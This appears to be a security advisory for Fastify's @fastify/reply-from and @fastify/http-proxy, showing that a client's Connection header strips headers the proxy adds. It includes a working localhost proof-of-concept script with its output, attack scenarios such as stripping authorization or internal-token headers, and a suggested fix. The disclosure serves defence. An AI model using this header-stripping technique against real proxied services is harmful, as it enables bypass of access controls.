Fastify's connection header abuse enables stripping of proxy-added headers

Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:

const fastify = require('fastify');

async function test() {
  // Upstream service that echoes headers
  const upstream = fastify({ logger: false });
  upstream.get('/api/echo-headers', async (request) => {
    return { headers: request.headers };
  });
  await upstream.listen({ port: 19801 });

  // Proxy that adds a custom header via rewriteRequestHeaders
  const proxy = fastify({ logger: false });
  await proxy.register(require('@fastify/reply-from'), {
    base: 'http://localhost:19801'
  });

  proxy.get('/proxy/*', async (request, reply) => {
    const target = '/' + (request.params['*'] || '');
    return reply.from(target, {
      rewriteRequestHeaders: (originalReq, headers) => {
        return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
      }
    });
  });

  await proxy.listen({ port: 19800 });

  // Baseline: proxy adds x-forwarded-by header
  const res1 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers'
  });
  console.log('Baseline response headers from upstream:');
  const body1 = JSON.parse(res1.body);
  console.log('  x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');

  // Attack: Connection header strips the proxy-added header
  const res2 = await proxy.inject({
    method: 'GET',
    url: '/proxy/api/echo-headers',
    headers: { 'connection': 'x-forwarded-by' }
  });
  console.log('\nAttack response headers from upstream:');
  const body2 = JSON.parse(res2.body);
  console.log('  x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');

  await proxy.close();
  await upstream.close();
}
test();

Actual output:

Baseline response headers from upstream:
  x-forwarded-by: fastify-proxy

Attack response headers from upstream:
  x-forwarded-by: NOT PRESENT (stripped!)

The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.

Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.

Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.

Impact

Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:

1. Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
2. Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g., x-internal-auth, x-proxy-token), attackers can strip them to access unauthorized resources
3. Remove arbitrary headers: Any header can be targeted, including Connection: authorization to strip authentication or Connection: x-forwarded-for, x-forwarded-by to remove multiple headers at once

This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.

Affected Versions

• @fastify/reply-from — All versions, both undici (default) and HTTP/1.1 transport handlers
• @fastify/http-proxy — All versions (delegates to @fastify/reply-from)
• Any configuration using rewriteRequestHeaders to add headers that could be security-relevant
• No special configuration required to exploit — works with default settings

Suggested Fix

The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.